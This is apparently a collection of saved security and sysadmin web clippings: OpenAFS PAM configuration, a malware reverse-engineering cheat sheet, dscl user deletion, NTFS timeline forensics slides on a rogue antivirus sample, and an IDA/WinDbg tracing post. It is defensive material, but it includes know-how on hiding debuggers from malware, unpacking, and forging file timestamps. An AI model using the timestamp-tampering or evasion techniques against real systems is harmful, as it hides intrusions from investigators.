After `libnss-afs` is installed, let's modify the existing lines in
`/etc/nsswitch.conf` to look like the following:

[code]

    passwd:  afs files
    group:   afs files
    shadow:  files
    
    
[/code]

### Metadata test

We are ready to test metadata retrieval:

[code]

    **sudo nscd -i passwd**
    
    **id _mirko_**
    
    uid=20000(mirko) gid=65534(nogroup) groups=65534(nogroup)
    
    **getent passwd _mirko_**
    
    mirko:x:20000:65534:docelic:/afs/hcoop.net/user/m/mi/mirko:/bin/bash
    
    
[/code]

## PAM configuration

The final step in this article pertains to integrating OpenAFS into the system
authentication procedure. We want Kerberos ticket and OpenAFS token to be
issued for users as they log in, without the need to run **kinit** and
**aklog** manually after login.

Let's install the necessary OpenAFS PAM module:

[code]

    sudo apt-get install libpam-afs-session
    
    
[/code]

Let's configure Linux-PAM. PAM configuration is quite fragile, so use the
provided examples that have been verified to work. For any modifications, you
will want to look at PAM Configuration File Syntax and pay special attention
to seemingly insignificant variations — with PAM, they often make a whole
world of difference.

To minimize the chance of locking yourself out of the system during PAM
configuration phase, ensure right now that you have at least one root terminal
window open and a copy of the files available  _before_ starting on PAM
configuration changes. To do so, execute the following in a cleanly started
shell and leave the terminal open:

[code]

    sudo su -
    cd /etc
    cp -a pam.d pam.d,orig
    
    
[/code]

### Note

If you break logins with an invalid PAM configuration, the above will allow
you to simply revert to a known-good state by using the open root terminal and
executing:

[code]

    cp -a pam.d,orig/* pam.d/
    
    
[/code]

After you've edited your PAM configuration as shown below, restart the
services you will be connecting to. This isn't strictly necessary, but it
ensures that the services will re-read the PAM configuration and not use any
cached information.

### /etc/pam.d/common-auth

[code]

    auth    sufficient        pam_unix.so nullok_secure
    auth    sufficient        pam_krb5.so use_first_pass
    auth    optional          pam_afs_session.so program=/usr/bin/aklog
    auth    required          pam_deny.so
    
    
[/code]

### /etc/pam.d/common-session

[code]

    session required pam_limits.so
    session optional pam_krb5.so
    session optional pam_unix.so
    session optional pam_afs_session.so program=/usr/bin/aklog
    
    
[/code]

## Conclusion

At this point, you have a functional AFS site. Users, once created in the
system, can log in and access their files anywhere on the network.

You can rely on either system login or manually running **kinit; aklog** in
obtaining Kerberos ticket and AFS token.

Once the token is obtained, you can access the protected AFS data space.

**Note that you've just started with OpenAFS. With a good foundation we've
built, you're advised to expand your knowledge using other available
resources.**

The newest version of this article can always be found at
http://techpubs.spinlocksolutions.com/dklar/afs.html.

  

Davor Ocelic

http://www.spinlocksolutions.com/

  

  

  

Copyright \(C\) 2008 Davor Ocelic, `<docelic@spinlocksolutions.com>  
Spinlock Solutions, http://www.spinlocksolutions.com/  
`

This documentation is free; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or \(at your option\) any later
version.

It is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE. See the GNU General Public License for more details.

  

# Lenny Zeltser - Reverse-Engineering Cheat Sheet

**Created:**| _5/9/2009 10:39:38 AM_  
---|---  
**Updated:**| _5/9/2009 10:39:49 AM_  
**Author:**| __  
**Tags:**| _cheat sheets reversing_  
  

# Reverse-Engineering Cheat Sheet

This is a cheat sheet of shortcuts and tips for reverse-engineering malware.
It covers the general malware analysis process, as well as useful tips for
OllyDbg, IDA Pro, and other tools. Feel free to customize it to your own
needs. My reverse-engineering malware course explores these, and other useful
techniques.

## General Approach

  1. Set up a controlled, isolated laboratory in which to examine the malware specimen.
  2. Perform behavioral analysis to examine the specimen’s interactions with its environment.
  3. Perform static code analysis to further understand the specimen’s inner-workings.
  4. Perform dynamic code analysis to understand the more difficult aspects of the code.
  5. If necessary, unpack the specimen.
  6. Repeat steps 2, 3, and 4 \(order may vary\) until sufficient analysis objectives are met.
  7. Document findings and clean-up the laboratory for future analysis.

## Behavioral Analysis

Be ready to revert to good state via dd, VMware snapshots, CoreRestore, Ghost,
SteadyState, etc.

Monitor local \(Process Monitor, Process Explorer\) and network \(Wireshark,
tcpdump\) interactions.

Detect major local changes \(RegShot, Autoruns\).

Redirect network traffic \(hosts file, DNS, Honeyd\).

Activate services \(IRC, HTTP, SMTP, etc.\) as needed to evoke new behavior
from the specimen.

## IDA Pro for Static Code Analysis

Text search | Alt+T   
---|---  
Show strings window | Shift+F12   
Show operand as hex value | Q   
Insert comment | :   
Follow jump or call in view | Enter   
Return to previous view | Esc   
Go to next view | Ctrl+Enter   
Show names window | Shift+F4   
Display function's flow chart | F12   
Display graph of function calls | Ctrl+F12   
Go to program's entry point | Ctrl+E   
Go to specific address | G   
Rename a variable or function | N   
Show listing of names | Ctrl+L   
Display listing of segments | Ctrl+S   
Show cross-references to selected function | Select function name » Ctrl+X   
Show stack of current function | Ctrl+K   
## OllyDbg for Dynamic Code Analysis

Step into instruction | F7   
---|---  
Step over instruction | F8   
Execute till next breakpoint | F9   
Execute till next return | Ctrl+F9   
Show previous executed instruction | \-   
Show next executed instruction | \+   
Return to previous view | \*   
Show memory map | Alt+M   
Follow expression in view | Ctrl+G   
Insert comment | ;   
Follow jump or call in view | Enter   
Show listing of names | Ctrl+N   
New binary search | Ctrl+B   
Next binary search result | Ctrl+L   
Show listing of software breakpoints | Alt+B   
Assemble instruction in place of selected one | Select instruction » Spacebar   
Edit data in memory or instruction opcode | Select data or instruction » Ctrl+E   
Show SEH chain | View » SEH chain   
Show patches | Ctrl+P   
## Bypassing Malware Defenses

To try unpacking quickly, infect the system and dump from memory via LordPE or
OllyDump.

For more surgical unpacking, locate the Original Entry Point \(OEP\) after the
unpacker executes.

If cannot unpack cleanly, examine the packed specimen via dynamic code
analysis while it runs.

When unpacking in OllyDbg, try SFX \(bytewise\) and OllyDump's "Find OEP by
Section Hop".

Conceal OllyDbg via HideOD and OllyAdvanced.

A JMP or CALL to EAX may indicate the OEP, possibly preceded by POPA or POPAD.

Look out for tricky jumps via SEH, RET, CALL, etc.

If the packer uses SEH, anticipate OEP by tracking stack areas used to store
the packers' handlers.

Decode protected data by examining results of the decoding function via
dynamic code analysis.

Correct PE header problems with XPELister, LordPE, ImpREC, PEiD, etc.

To get closer to OEP, try breaking on unpacker’s calls to LoadLibraryA or
GetProcAddress.

## Common x86 Registers and Uses

EAX | Addition, multiplication, function results   
---|---  
ECX | Counter   
EBP | Base for referencing function arguments \(EBP+value\) and local variables \(EBP-value\)   
ESP | Points to the current "top" of the stack; changes via PUSH, POP, and others   
EIP | Points to the next instruction   
EFLAGS | Contains flags that store outcomes of computations \(e.g., Zero and Carry flags\)   
## Post-Scriptum

If you have suggestions for improving this cheat sheet, please let me know.

Creative Commons v3 "Attribution" License for this Cheat Sheet v.1.6.

Take a look at my other security cheat sheets.

  

**About the Author:** Lenny Zeltser leads the security consulting practice at
Savvis. His team provides security assessments, design, and operational
assistance for business-critical IT infrastructure. Lenny also teaches malware
analysis at SANS Institute, explores security topics at conferences and in
articles, and volunteers as an incident handler at the Internet Storm Center.

# Deleting Mac OS X users remotely with dscl - O'Reilly Mac DevCenter Blog

**Created:**| _5/22/2009 8:33:19 PM_  
---|---  
**Updated:**| _9/18/2009 10:35:10 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu Mac-hacking_  
  

## Deleting Mac OS X users remotely with dscl

  * listen <img src='img/Temp2_2091.gif' width='10' height='9' alt='Speech Icon' />

Thursday April 27, 2006 10:18PM  
by Robert Daeley in Technical

<img src='img/Temp2_2092.gif' width='125' height='16' alt='AddThis Social
Bookmark Button' />

I had occasion recently to need to remotely delete a user — let’s call him
“George” — on a Mac OS X box that is running the Client version of Tiger. I
have ssh access to that machine and, since I keep meaning to learn how to do
it, I decided to take the time to make a few notes on the process for the next
such occasion.

What I needed to do was, first, remove him from any groups he was in and then
delete his account. On OS X, this is usually handled by the NetInfo database,
so I needed a way to manipulate it without using the
GUI`/Applications/Utilities/NetInfo Manager` that I’d probably use were I
physically sitting at the machine.

The command I’ll use is `/usr/bin/dscl` — the **Directory Service command
line** utility. If you’re familiar with CLI utilities, the syntax of `dscl`
won’t be problematic for you. It is a truly powerful program, bringing pretty
much anything involved with NetInfo under your control. This is a good thing,
but it is also dangerous. Which brings us to this warning:

**Do not start doing this if you don’t know what you’re doing or are
disconcerted by the idea of telling your computer what to do by typing. You
can damage your system, not to mention possibly leaving you unable to have
children. ¡Cuidado\!**

Before you make  _any_ changes to NetInfo, you should back its database up.
That Apple article has a couple of methods. Use one of them. For the children.

* * *
With that out of the way, let’s talk about **NetInfo** domains. Assuming you
didn’t RTFA at the link above, the basic idea is that there is a hierarchical
database that handles all the user and group data \(just to mention a couple
of things\) for Mac systems. NetInfo has been around since the NeXT days.

The NetInfo hierarchy starts with what it calls Domains. \(This is a mite
confusing at first since it doesn’t refer to Internet domain names.\) Under
each Domain there are Directories, and they can have Properties with
accompanying Values, as well as contain other Directories. We’ll cover these
ideas in practice as we go along.

Here’s an applicable example: like every Mac, my remote server has a `/users`
directory under the local domain.

It’s important to differentiate here that this is  _not_ referring to the
`/Users` folder in the filesystem where a user’s home folder usually is. This
can be somewhat bewildering for NetInfo neophytes.

Now, inside the NetInfo `/users` Directory are a bunch of other Directories
corresponding to all the users on the machine — human accounts \(like my own
and the one I’ll be deleting\), but also system “users” like  _daemon_
,_mysql_ ,  _nobody_ ,  _root_ , and  _www_. In fact, here’s a command to give
us a list of all the users on the machine:

`dscl . list /users`

Breaking it down: there’s `dscl`, a period “.” representing the local machine,
the `list` command, and then the directory we want a listing of. This is also
the basic syntax we’ll be dealing with throughout our exercise.

So, I run that on my remote machine and get a long list of users, including
the about-to-be-deleted George. To see what NetInfo has to say about good old
Georgie:

`dscl . read /users/george`

Pretty much the same idea as before, except we’re using the `read` command
rather than `list`. Using the Finder as an analogy, `list` is like viewing a
list of text files in a folder, and `read` is like viewing the contents of one
of those files.

Here’s some \(though not all\) of what I got in response to my `read` request:

`AppleMetaNodeLocation: /NetInfo/DefaultLocalNode  
  
AuthenticationAuthority: ;ShadowHash;  
  
NFSHomeDirectory: /Users/george  
  
Password: *  
  
PrimaryGroupID: 530  
  
RealName: George Costanza  
  
RecordName: george  
  
UniqueID: 530`

This can get overwhelming with all kinds of unfamiliar text flying by, so it
can be useful to focus in on one value, e.g. where their home folder is. We
find that out by examining `NFSHomeDirectory`, which is a users **Property**.
Other such Properties include `PrimaryGroupID`, `RealName`, `UniqueID`, and
the rest of `/users/george`.

Much like a variable in algebra, a Property has a corresponding **Value**. To
ask for George’s home directory only, we use:

`dscl . read /users/george NFSHomeDirectory`

Which returns this line:

`NFSHomeDirectory: /Users/george`

So, for the Property `NFSHomeDirectory` the Value is `/Users/george`

Again, to keep it straight, that’s the `/Users/george` home folder in the
Finder.

* * *
Now I have George in my sights, and I’m almost ready to get rid of him. But
first, let’s deal with the groups he’s a member of. Similarly to getting a
list of users on the local machine, we can do the same thing for groups:

`dscl . list /groups`

Long list there, but it includes the two groups I need to deal with. I happen
to know that George is in only two groups: `handmodels` and `george` \(a user
is by default a member of a group with the same name\).

Just for our edification, let’s get a list of the users in `handmodels`. We
can do this by zeroing in on one Property like we did above,
`GroupMembership`:

`dscl . read /groups/handmodels GroupMembership`

This returns:

`GroupMembership: grady mia ramon mike george`

A-ha\! There he is, along with a few other folks. To kick him out of there,
I’ll need to use `sudo` because you need admin access to make this kind of
change to the database:

`sudo dscl . delete /groups/handmodels GroupMembership george`

A password prompt appears. Enter the admin password, hit Return, and George is
gone from handmodels. Let’s just make sure:

`dscl . read /groups/handmodels GroupMembership`

And we get back:

`GroupMembership: grady mia ramon mike`

If George were HAL, he would be feeling his mind going right about now.

* * *
Getting rid of the `george` group is handled a bit differently since it’s a
whole Directory and not the Value of a Property. To delete his group
completely:

`sudo dscl . delete /groups/george`

And that’s it for George’s groups. George/HAL is singing “Bicycle Built For
Two.”

For safety’s sake, please note the similarity between this last command and
the one above that deleted his name from handmodels. **Imagine how easy it
could be to really screw things up by deleting something accidentally.** Have
you backed up lately?

* * *
Finally, we’re ready to delete George himself. The syntax is much the same as
the last command:

`sudo dscl . delete /users/george`

Poof\! George has ceased to be. He has expired and gone to meet his maker. He
is an ex-user.

Now all that’s left is to remove the vestiges of George scattered around the
filesystem, starting with his home folder `/Users/george`. Just to play it
safe, you might want to archive George’s stuff. You know, if he happens to re-
enter your good graces.

Maybe when you’re feeling magnanimous around Festivus time. ;\)

# Online Python Tutor: Write Python code online and single-step through its
execution

**Created:**| _9/16/2010 9:26:53 AM_  
---|---  
**Updated:**| _9/16/2010 9:27:43 AM_  
**Author:**| __  
**Tags:**| _bookmark python awesome_  
  

Python intro | factorial | fibonacci | memoized fib | square root | insertion sort | tokenize | filter | aliasing | OOP

# Cryptology ePrint Archive: Report 2011/497

**Created:**| _9/18/2011 8:10:33 AM_  
---|---  
**Updated:**| _9/18/2011 8:10:33 AM_  
**Author:**| __  
**Tags:**| _reversing crypto_  
  

## Cryptology ePrint Archive: Report 2011/497

**Can a Program Reverse-Engineer Itself?**

_Antoine Amarilli and David Naccache and Pablo Rauzy and Emil Simion_

**Abstract:** Shape-memory alloys are metal pieces that "remember" their
original cold-forged shapes and return to the pre-deformed shape after
heating. In this work we construct a software analogous of shape-memory
alloys: programs whose code resists obfuscation. We show how to pour arbitrary
functions into protective envelops that allow recovering the functions' \{\sl
exact initial code\} after obfuscation. We explicit the theoretical
foundations of our method and provide a concrete implementation in Scheme.

**Category / Keywords:** foundations / obfuscation

**Date:** received 13 Sep 2011

**Contact author:** david naccache at ens fr

**Available formats:**PDF | BibTeX Citation
**Version:** 20110918:014223 \(All versions of this report\)

**Discussion forum: **Show discussion | Start new discussion

# Snort IDS Sensor with Sguil Framework ISO

**Created:**| _3/31/2011 8:55:05 AM_  
---|---  
**Updated:**| _3/31/2011 8:55:22 AM_  
**Author:**| __  
**Tags:**| _security tools Live Distri iDS/iPS_  
  

Snort IDS Sensor with Sguil Framework ISO

Share|

Published: 2011-03-11,  
Last Updated: 2011-03-11 16:34:27 UTC  
by Guy Bruneau \(Version: 1\)  

3 comment\(s\)

I have just released an updated CD of a hardened OS that includes Snort IDS
sensor \(version 2.9.0.4\) with all the Sguil components ready to use. It is
available in two versions, 32-bit and 64-bit. The CD has 3 options: sensor
only, database only or all components on the same system.  
  
The CD includes some new tools and updated scripts. The install.pdf document
on how to install and configure the system is located in the rel\_note
directory.

Checksum for 32-bit available here and 64-bit available here.  
  
\-----------

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, HW DEP
and ASLR

**Created:**| _12/28/2009 10:10:34 PM_  
---|---  
**Updated:**| _12/28/2009 10:10:59 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6220' />

# Leveraging NTFS Timeline Forensics during the Analysis of Malware

**Created:**| _9/13/2011 10:04:25 PM_  
---|---  
**Updated:**| _9/14/2011 9:09:49 AM_  
**Author:**| __  
**Tags:**| _Forensics conference-material Malware-analysis_  
  

## Speaker Notes on slide 1

## Leveraging NTFS Timeline Forensics during the Analysis of Malware -
Presentation Transcript

  1. Leveraging NTFS Timeline Forensics in the Analysis of Malware  
Tim Mugherini  
NAISG Boston  
January 20, 2011  

  2. About Me  
Caveat: I Am Not An Expert\!  

  3. Some Context  
“Facts do not cease to exist because they are ignored.” - Aldous Huxley  

  4. Being Prepared  
What’s in your Incident Response Toolkit?  
Malware is becoming more sophisticated.  
A deeper understanding of computer systems is needed.  
File system forensics techniques are well documented but seem underutilized.  
Analysis of the Master File Table \(MFT\) of the NTFS file system can be used
to help establish a timeline and location of changes to the system.  

  5. Incident Response  
Where does Malware Analysis Fit In?  
Preparation: Incident Handling Procedures, Training, Toolkits, Jump Bags,
Detection & Defense Mechanisms  
Detection & Analysis: Detect the type, extent, and magnitude of the incident.
Identify the malware characteristics.  
Containment, Eradication, & Recovery: Prevent the malware from spreading and
causing further system damage. Once complete, removing the malware and
restoring functionality and data affected by the infection.  
Post-Incident: Review incident and lessons learned. Apply this to your
preparation for the next incident. Retain evidence.  
Reference: National Institute of Standards and Technology \(2005\). SP800-83:
Guide to Malware Incident Prevention and Handling. Retrieved from
http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf  

  6. Malware Analysis  
Where does File Forensics Fit In?  
Static: Analyze without executing code  

     * File Analysis \(i.e. location, date and times, strings, hashes\)
     * Code Analysis, Reverse Engineering \(i.e. Decompiling, Disassembling\)
Dynamic: Analyze the code while it runs  

     * Behavioral Analysis: \(i.e. processes, network connections, strings in memory\)
     * Network Packet Analysis
Ideally you want to do both\!  

  7. NTFS Master File Table 101  
“Facts do not 'speak for themselves', they are read in the light of theory” -
Stephen Jay Gould  

  8. Everything is a File  
Overview of NTFS and the Master File Table  
NTFS: “New Technologies File System” Default file system of all modern
versions of Windows.  
The Master File Table \(MFT\) is the heart of the NTFS file system. It
contains the metadata about all the files and directories on the file system.  
Everything is a file in NTFS, including the MFT.  
Each file and directory has at least one entry in the MFT.  
Each MFT entry is 1024 bytes in size \(defined in boot sector\) with the first
42 bytes containing 12 defined fields and the remaining space being used by
attributes.  
The MFT will expand as needed and NTFS does NOT delete MFT entries after they
have been created \(even when deleted\).  
Reference: Carrier, Brian \(2005\). File System Forensic Analysis. Addison
Wesley.  

  9. 0x46494c45  
What FILE Information can be extracted?  
MFT Header contains a record number for each entry, sequence number \(times
reused\), and parent record number \(location\).  
Standard\_Information attributes are best known. Many of these attributes
\(MACE/MACb times, Flags\) are displayed in explorer.exe when viewing the
properties of a file or folder.  
File\_Name attributes contain the file name and additional MACE/MACb times
\(more on this in a bit\).  
Reference: Carrier, Brian \(2005\). File System Forensic Analysis. Addison
Wesley.  

  10. Standard\_Informaton Attributes   
The Good, The Bad, The WTF  
The Good  
The behavior of Windows on Standard\_Informstion MACE times is well known  
The Bad  
Standard\_Information MACE times can easily be manipulated \(i.e. Metasploit
Timestomp or Unix Touch\)  
OK … WTF  
Did you know file Access Times are disabled by default in Windows Vista/7?  
HKLMSYSTEMCurrentControlSetControlFileSystemNtfsDisableLastAccessUpdate=1  

  11. Powershell: Friend or Foe?   
Manipulation of Standard\_Information Dates.  
Reference: Hull, David \(2009\). Touch on Windows via Powershell. Retrieved
from http://trustedsignal.blogspot.com/2008/08/touch-on-windows-via-
powershell.html  

  12. Don’t Be Duped  
File\_Name Attributes are not Easily Manipulated  
File\_Name Attributes initially mirror the Standard\_Info Creation date  
They do not typically get updated the way Standard\_Information Values do
unless the file is moved or renamed.  
Consequently, it is more difficult to manipulate File\_Name Attributes \(note:
I did not say impossible, more on this later\).  
All Attribute Times need to be analyzed when using MFT Analysis.  
Some Work has been done cataloging the behavioral changes of File\_Name Time
attributes  
Reference: Hull, David \(2010\) Digital Forensics: Detecting time stamp
manipulation. Retrieved from http://computer-
forensics.sans.org/blog/2010/11/02/digital-forensics-time-stamp-manipulation  

  13. Thank You Rob  
MFT Attribute Behavior  
Reference: Lee, Rob, T. \(2010\) Windows 7 MFT Entry Timestamp Properties.
Retrieved from http://computer-
forensics.sans.org/blog/2010/04/12/windows-7-mft-entry-timestamp-properties  

  14. Intro to Our Malware Sample  
“It is easier to believe a lie that one has heard a thousand times than to
believe a fact that no one has heard before.” – Author Unknown  

  15. Rogue AV Prerequisites   
There Are None  
Up to date Windows 7 OS – No Problem\!  
No Local Admin rights – No Problem\!  
Existing Antivirus w/ current sigs – No Problem\!  
Windows Firewall hardened with GPO – No Problem\!  
IE 8 in Medium/High security mode – No Problem\!  
UAC enabled – No Problem\!  
But what features do you get with your install, you ask?  

  16. Rogue AV Feature Set  
Replaces Existing Antivirus without Interaction  

  17. Rogue AV Feature Set  
Places Bogus Malicious Files on Your File System  

  18. Rogue AV Feature Set  
Provides Protection Sopranos Style  

  19. Rogue AV Feature Set  
Confused? Live Support Chat can Assist  

  20. Rogue AV Feature Set  
Protects Against Analysis by Your IT Practitioner  

  21. Analysis of Our Sample  
“Facts are stubborn things; and whatever may be our wishes, our inclinations,
or the dictates of our passion, they cannot alter the state of facts and
evidence.” - John Adams  

  22. Down the Rabbit Hole  
Summary of the Rogue File/Process  
File Name: ISe6d\_2229.exeFile Type: Windows 32 bit Portable ExecutableMD5:
699ebebcac9aaeff67bee94571e373a1SHA1:
ed763d1bc340db5b4848eeaa6491b7d58606ade2File size: 3590656 bytesFirst seen on
Virus Total: 2010-11-14 01:20:29  
Last seen: 2010-11-16 15:52:22  
http://www.virustotal.com/file-
scan/report.html?id=19f7bd2c7a74caa586232abefb22aeea224ba14c7d599c89561fba34f33bdf22-1289922742  
My Write-Up  
http://securitybraindump.blogspot.com/2010/12/not-just-another-analysis-of-
scareware.html  

  23. Grabbing the MFT  
FTK Imager Lite: Exporting the MFT  

  24. Parsing the MFT  
analyzeMFT: Parse & Export Records.  

  25. Analyzing the MFT  
Based on the Facts, Find the Infection Locations  

  26. Leveraging the Results   
“We can have facts without thinking but we cannot have thinking without
facts.” - John Dewey  

  27. Using Information from the MFT  
Prefetch Parser: Parsing the Prefetch Folder  
SETUP\_2229\[1\].EXE-11C68EE8.pf
USERS%USERNAME%APPDATALOCALMICROSOFTWINDOWSTEMPORARY INTERNET
FILESCONTENT.IE5G4KYBRHHSETUP\_2229\[1\].EXETASKKILL.EXE-8F5B2253.pf
USERS%USERNAME%APPDATALOCALMICROSOFTWINDOWSTEMPORARY INTERNET
FILESCONTENT.IE5G4KYBRHHANPRICE=85\[1\].HTMRUNDLL32.EXE-80EAA685.pfPROGRAMDATAE6DB66ISE6D\_2229.EXE  

  28. Using Information from the MFT  
Exporting the Windows Registry Hives  
Most live in the %SystemRoot%System32Config directory \(except HKCU & HKU
which are located in the user profiles\)  
Tools such as RegRipper & Windows Registry Recovery can be used to perform
further analysis based on facts discovered  
\[HKEY\_CURRENT\_USERSoftwareMicrosoftWindowsCurrentVersionRun\]  
"Internet Security Suite“=""C:ProgramDatae6db66ISe6d\_2229.exe" /s /d“  
Reference: Microsoft MSDN \(2010\). Registry Hives. Retrieved from
http://msdn.microsoft.com/en-us/library/ms724877%28VS.85%29.aspx  

  29. Using Information from the MFT  
Recovering Deleted Files with VSS  
FTK Imager has the ability to export files if not overwritten  
Microsoft Volume Shadow Copy Service \(VSS\) is another option however.  
mklink /d C:shadow\_copy1 ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1  
Reference: Mugherini, Timothy \(2010\) Forensics Analysis: Windows Shadow
Copies. Retrieved from
http://securitybraindump.blogspot.com/2010/06/forensics-analysis-windows-
shadow.html  

  30. Using Information from the MFT  
Hashes Are Your Friend.  
Once suspect files are found, export their hashes and leverage online
resources.  
NIST National Software Reference Library  
SANS ISC Hash Database  
Team Cymru Malware Hash Registry  
FTK Imager and other Windows Tools can hash files but what if you want to hash
all files on a drive or volume?  
http://md5deep.sourceforge.net/  
Md5deep.exe. –r C: > hash\_drive.txt  

  31. The Trouble with Facts…  
“The trouble with facts is that there are so many of them.” - Samuel McChord
Crothers  

  32. File\_Name Attributes Can Change  
Manipulating File\_Name Attributes  

  33. Hope Is Not Lost  
How can we Detect Attribute Manipulation?  
Some Possibilities  
Recent Documents and Programs \(if not disabled\)  
System Events \(i.e. System Time Change\)  
Prefetch Differences  
Differences between $SI and $FN attributes  
$FNA MACE Times have USEC/Microseconds = 00  
New Features in analyzeMFT.py \(v 1.5\)  
Now Reports useconds for all time attributes  
-a \(anomaly detection\) adds two columns:  
std-fn-shift: Y = $FN create time is after the $SI create time  
Usec-zero: Y = $SI create time has usec = 0  

  34. Summary  
An Answer to a Question, Might be Another Question  
This is one forensic technique \(Timeline Analysis\) that focuses on one
object \($MFT\) in one layer \(Metadata\) of one type of file system \(NTFS\)
during one type of malware analysis \(Static\) that is typically done during
one phrase \(Detection/Analysis\) of incident response.  
It is something you can add to your Incident Response and Malware Analysis
toolkit.  
It may be necessary to correlate and verify your results with other methods
and tools. Tools such as Log2Timeline are available to create Super Timelines
making it even easier to create a timeline of malicious activity on a system.  

  35. Go Forth and Prosper  
Additional Resources and Tools  
Additional Resources  
Lenny Zeltser: Combating Malicious Software  
NIST Special Publication 800-81: Computer Security Incident Handling Guide  
NIST Special Publication 800-83: Guide to Malware Incident Prevention and
Handling  
NIST Special Publication 800-86: Guide to Integrating Forensic Techniques into
Incident Response  
Reversing Malware Blog  
SANS Computer Forensics & Incident Response Blog  
SANS Reading Room \(Too Many Great Papers to Mention: Check Forensics,
Incident Response, and Malware Analysis Categories\)  
Windows Incident Response Blog  
Books  
Carrier, Brian \(2005\). File System Forensic Analysis. Addison Wesley.  
Carvey, Harlen \(2009\). Windows Forensic Analysis DVD Toolkit, Second
Edition. Syngress.  
Tools  
AnalyzeMFT  
FTK Imager Lite  
MD5Deep  
Prefetch Parser  
RegRipper  
Windows Registry Recovery  

  36. Questions  
Please Be Gentle  

  37. Internet Control Message Protocol  
Feel Free to Ping Me  
Tim Mugherini  
http://securitybraindump.blogspot.com  
tmugherini@gmail.com  
@bug\_bear  
Irc://freenode \(as Bugbear\)

# Exploit Monday: Integrating WinDbg and IDA for Improved Code Flow Analysis

**Created:**| _8/1/2011 7:47:19 AM_  
---|---  
**Updated:**| _8/1/2011 7:47:19 AM_  
**Author:**| __  
**Tags:**| _iDA windbg_  
  

### Integrating WinDbg and IDA for Improved Code Flow Analysis

IDA is hands down the best tool for static analysis. Its debugger on the other
hand, when compared to the power of WinDbg is certainly lacking, IMHO. As
such, I find myself wasting too much time switching between windows and
manually highlighting and commenting instructions in IDA as I trace through
them in WinDbg. Fortunately, the power of IDApython can be unleashed to reduce
this tedium.

  

I was reading an older TippingPoint MindshaRE article from Cody Pierce
entitled “Hit Tracing in WinDbg\[1\]” and was inspired by his ideas to
implement my own IDApython script to better integrate WinDbg with IDA. While,
I may be recreating many of his efforts, my primary intent was to get better
at scripting in IDApython while improving upon my static/dynamic analysis
workflow.

  

The purpose of my script is to parse WinDbg log files for module base
addresses, instruction addresses, references to register values, and pointer
dereferences. Then, for every instruction you hit in your debug session, the
corresponding instructions will be colored and commented accordingly and in a
module base address-agnostic fashion.

  
To get started, your WinDbg log file will need to display the following:  
  
• Disassembly of current instruction  
• Effective address for current instruction  
• Register state  
• Listing of loaded modules \(optional, but highly recommended\)  
  

The first three items should be enabled by default but can be re-enabled with
the ‘.prompt\_allow’ command. Your output should look like the following:

  

eax=003762f8 ebx=006cc278 ecx=00000004 edx=00000000 esi=006cc420 edi=00000001

eip=00491469 esp=0020e348 ebp=0020e388 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

calc\!CCalcEngine::DoOperation+0x6be:

00491469 e8074efeff call calc\!divrat \(00476275\)

  

The reason it is ideal to include module base addresses in your log file is so
that effective addresses can be calculated as offsets then added to the base
address of the module in IDA. This helps because the module base address in
WinDbg is often different than the base address in IDA. Also, this avoids
having to modify the dumpfile to match IDA or rebase the addresses in IDA –
both, a pain and unnecessary. My script parses the output of ‘lmp’ in WinDbg
which outputs the base addresses of loaded modules minus symbol information.

  

To continue riding Cody’s coattails, I’ll be analyzing the DoOperation
function \(0x00495001-0x00495051\) in calc.exe as he did. I determined the
beginning and ending addresses of the function with the following commands:

  

0:000> X calc\!\*DoOperation\*

 **00495001 calc\!CCalcEngine::DoOperation =**  
0:000> BP 00495001  
0:000> g  
  
Entering in 1000 / 4 in calc  
  

Breakpoint 0 hit  
eax=00439220 ebx=0069c420 ecx=0069c278 edx=00000000 esi=0069c278 edi=00000000  
eip=00495001 esp=0032e95c ebp=0032ea4c iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206  
calc\!CCalcEngine::DoOperation:  
00495001 6a1c push 1Ch

  
Step through function until return instruction  
  

0:000> PT  
eax=00000000 ebx=0069c420 ecx=00495051 edx=00445310 esi=0069c278 edi=00000000  
eip=00495051 esp=0032e95c ebp=0032ea4c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
calc\!CCalcEngine::DoOperation+0xfa:  
**00495051 c20c00 ret 0Ch**  
0:000> g  
0:004> .logopen "calc.log"

  
The following dump is the result of the operation 1000/4 in the function
without stepping into calls \(using the PA command\):  
  

[/code]

[code]

  
Obviously, manually annotating all of this information in IDA is the work of
an unpaid intern. I, on the other hand, value my time and wrote the following
script to parse out the log file and import it into IDA:  
  

[/code]

[code]

  
The script has the following features:  
  
• Prompts user for WinDbg log file to load  
• Prompts user for the instruction highlight color \(real men use pink\) ;P  
• Parses the output of the ‘lmp’ command and calculates instruction offsets
from the module base address  
• Creates comments for the values of referenced registers  
• Creates comments for the value of pointer dereferences  
  

Here is what the graph of DoOperation looks like before 1000 / 4 is performed:

<img src='img/Temp2_2911.png' width='534' height='640' />

  
  

Here is what the graph of DoOperation looks like after 1000 / 4 is performed:

<img src='img/Temp2_2912.png' width='521' height='640' />

  
  

You can see the highlighted instructions and the values of any referenced
registers and pointers.

  

<img src='img/Temp2_2910.png' width='400' height='240' />

  
Hopefully, by now you can see the power of IDApython in improving your
analysis workflow. If you use this script, I welcome your feedback\!  
  
References:  
  
1\. Cody Pierce, “MindshaRE: Hit Tracing in WinDbg,” July 17, 2008,
http://dvlabs.tippingpoint.com/blog/2008/07/17/mindshare-hit-tracing-in-windbg

# Crystal Anti-Exploit Protection new security software released

**Created:**| _7/3/2012 8:45:17 AM_  
---|---  
**Updated:**| _7/3/2012 8:45:17 AM_  
**Author:**| __  
**Tags:**| _Exploit windows mitigations_  
  

# Crystal Anti-Exploit Protection new security software released

The new security software Crystal Anti-Exploit Protection has just been
released in a first beta version. The program adds another layer of defense to
the system that protects applications that it protects from a number of
